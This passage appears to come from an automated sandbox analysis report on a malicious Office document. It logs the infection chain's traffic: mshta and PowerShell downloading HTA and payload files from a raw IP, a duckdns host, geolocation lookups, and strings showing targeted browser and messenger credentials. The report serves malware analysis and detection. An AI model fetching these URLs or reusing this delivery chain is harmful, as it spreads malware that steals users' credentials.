                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: unknownTCP traffic detected without corresponding DNS query: 192.3.101.21
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_000007FE899E4B18 URLDownloadToFileW,5_2_000007FE899E4B18
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8D9EA708.emfJump to behavior
                Source: global trafficHTTP traffic detected: GET /WP8tfj?&song=snotty&attendant=malicious&rent=unbiased&mandolin=reminiscent&vase=plausible&luggage=quick&membership=acoustic&clasp HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: acesso.runConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /WP8tfj?&song=snotty&attendant=malicious&rent=unbiased&mandolin=reminiscent&vase=plausible&luggage=quick&membership=acoustic&clasp HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: acesso.runConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /WP8tfj?&song=snotty&attendant=malicious&rent=unbiased&mandolin=reminiscent&vase=plausible&luggage=quick&membership=acoustic&clasp HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: acesso.runConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /WP8tfj?&song=snotty&attendant=malicious&rent=unbiased&mandolin=reminiscent&vase=plausible&luggage=quick&membership=acoustic&clasp HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: acesso.runConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1Host: drive.google.comConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.101.21Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8896-Connection: Keep-AliveHost: 192.3.101.21If-Range: "20ccf-625988057b33c"
                Source: global trafficHTTP traffic detected: GET /412/seethebestthingsgivingrenergytomyentirelifeforgetherback.tIF HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.101.21Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)If-Modified-Since: Tue, 29 Oct 2024 07:26:18 GMTConnection: Keep-AliveHost: 192.3.101.21If-None-Match: "20ccf-625988057b33c"
                Source: global trafficHTTP traffic detected: GET /412/seethebestthingsgivingrenergytomyentirelifeforgetherback.tIF HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.101.21Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /412/LLMCRTT.txt HTTP/1.1Host: 192.3.101.21Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
                Source: bhv8BAD.tmp.28.drString found in binary or memory: Cookie:user@www.linkedin.com/ equals www.linkedin.com (Linkedin)
                Source: CasPol.exe, 0000001C.00000002.589215068.00000000001CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: Is://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.facebook.com (Facebook)
                Source: CasPol.exe, 0000001C.00000002.589215068.00000000001CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: Is://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.yahoo.com (Yahoo)
                Source: CasPol.exe, 0000001E.00000002.585102201.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users%s\Loginprpl-msnprpl-yahooprpl-jabberprpl-novellprpl-oscarprpl-ggprpl-ircaccounts.xmlaimaim_1icqicq_1jabberjabber_1msnmsn_1yahoogggg_1http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com equals www.ebuddy.com (eBuggy)
                Source: CasPol.exe, CasPol.exe, 0000001E.00000002.585102201.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.ebuddy.com equals www.ebuddy.com (eBuggy)
                Source: CasPol.exeString found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)
                Source: bhv8BAD.tmp.28.drString found in binary or memory: www.linkedin.come equals www.linkedin.com (Linkedin)
                Source: mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
                Source: CasPol.exe, 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.facebook.com (Facebook)
                Source: CasPol.exe, 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.yahoo.com (Yahoo)
                Source: global trafficDNS traffic detected: DNS query: acesso.run
                Source: global trafficDNS traffic detected: DNS query: drive.google.com
                Source: global trafficDNS traffic detected: DNS query: drive.usercontent.google.com
                Source: global trafficDNS traffic detected: DNS query: cokka.duckdns.org
                Source: global trafficDNS traffic detected: DNS query: geoplugin.net
                Source: mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.101.21/
                Source: mshta.exe, 0000000C.00000002.480132820.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.475492651.0000000002A9E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.474537910.000000000053F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta
                Source: mshta.exe, 00000004.00000002.421421270.0000000000277000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.420929979.0000000000276000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta...
                Source: mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta...W
                Source: mshta.exe, 00000004.00000002.421421270.0000000000277000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.420929979.0000000000276000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta...a
                Source: mshta.exe, 0000000C.00000002.480132820.0000000002C32000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta8g
                Source: mshta.exe, 00000004.00000002.421652479.0000000004151000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.htaC:
                Source: mshta.exe, 00000004.00000003.420173079.0000000004168000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.421692898.000000000416B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.420925740.000000000416A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.htaU
                Source: mshta.exe, 0000000C.00000002.480444734.0000000004A00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.htaUKWWS
                Source: mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.htaccC:
                Source: mshta.exe, 0000000C.00000003.474537910.0000000000590000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.479217931.0000000000595000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.478341696.0000000000590000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.htaez
                Source: mshta.exe, 00000004.00000003.421218427.00000000030A5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.475050003.0000000002A95000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.477509528.0000000002A95000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.htahttp://192.3.10
                Source: mshta.exe, 0000000C.00000003.474537910.000000000053F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.htanisc
                Source: powershell.exe, 0000000E.00000002.494152955.00000000025C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://192.3.101.21/412/seethebe
                Source: powershell.exe, 0000000E.00000002.494152955.0000000002201000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://192.3.101.21/412/seethebestthingsgivingrenergytomyentirelifeforgetherback.tIF
                Source: powershell.exe, 00000005.00000002.447719777.0000000000353000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.101.21/412/seethebestthingsgivingrenergytomyentirelifeforgetherback.tIFh
                Source: powershell.exe, 00000005.00000002.447719777.0000000000353000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.493711607.000000000032C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.101.21/412/seethebestthingsgivingrenergytomyentirelifeforgetherback.tIFoNdll
                Source: powershell.exe, 0000000E.00000002.494152955.00000000025C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://192.3.101.21/412/seethebestthingsgivingrenergytomyentirelifeforgetherback.tIFp
                Source: mshta.exe, 0000000C.00000002.480132820.0000000002C21000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.101.21/iq
                Source: mshta.exe, 0000000C.00000002.480132820.0000000002C21000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.101.21/qq
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://acdn.adnxs.com/ast/ast.js
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://acdn.adnxs.com/ib/static/usersync/v3/async_usersync.html
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://b.scorecardresearch.com/beacon.js
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://cache.btrll.com/default/Pix-1x1.gif
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://cdn.at.atwola.com/_media/uac/msn.html
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://cdn.taboola.com/libtrc/impl.thin.277-63-RELEASE.js
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://cdn.taboola.com/libtrc/msn-home-network/loader.js
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://cdn.taboola.com/libtrc/static/thumbnails/f539211219b796ffbb49949997c764f0.png
                Source: mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002C0C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
                Source: mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
                Source: mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.entrust.net/2048ca.crl0
                Source: mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.entrust.net/server1.crl0
                Source: mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
                Source: mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
                Source: mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://dis.criteo.com/dis/usersync.aspx?r=7&p=3&cp=appnexus&cu=1&url=http%3A%2F%2Fib.adnxs.com%2Fset
                Source: CasPol.exe, CasPol.exe, 0000001A.00000002.656044016.00000000007F5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp
                Source: CasPol.exe, 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp/C
                Source: powershell.exe, 00000017.00000002.558599376.000000000020F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://go.cr
                Source: powershell.exe, 00000005.00000002.447820693.0000000003380000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://go.micros
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://ib.adnxs.com/pxj?bidder=18&seg=378601&action=setuids(
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_80%2Ch_334%2Cw_312%2Cc_fill%2Cg_faces%2Ce_sh
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_167%2Cw_312%2Cc_fill%2Cg_faces%2Ce_
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_90%2Cw_120%2Cc_fill%2Cg_faces:auto%
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA2oHEB?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA42Hq5?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA42eYr?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA42pjY?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA6K5wX?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA6pevu?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA8I0Dg?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA8uJZv?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAHxwMU?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAJhH73?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAhvyvD?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtB8UA?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtBduP?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtBnuN?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtCLD9?h=368&w=522&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtCr7K?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtCzBA?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAyXtPP?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAzl6aj?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17cJeH?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=j
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dAYk?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dJEo?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dLTg?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dOHE?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=j
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dWNo?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dtuY?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=j
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e0XT?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e3cA?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e5NB?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e7Ai?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=j
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e9Q0?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17eeI9?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17ejTJ?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBPfCZL?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBYMDHp?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBZbaoj?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBh7lZF?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBih5H?m=6&o=true&u=true&n=true&w=30&h=30
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBlKGpe?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBlPHfm?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBnMzWD?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqRcpR?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: powershell.exe, 00000005.00000002.450057733.0000000012041000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://o.aolcdn.com/ads/adswrappermsni.js
                Source: mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0
                Source: mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0%
                Source: mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0-
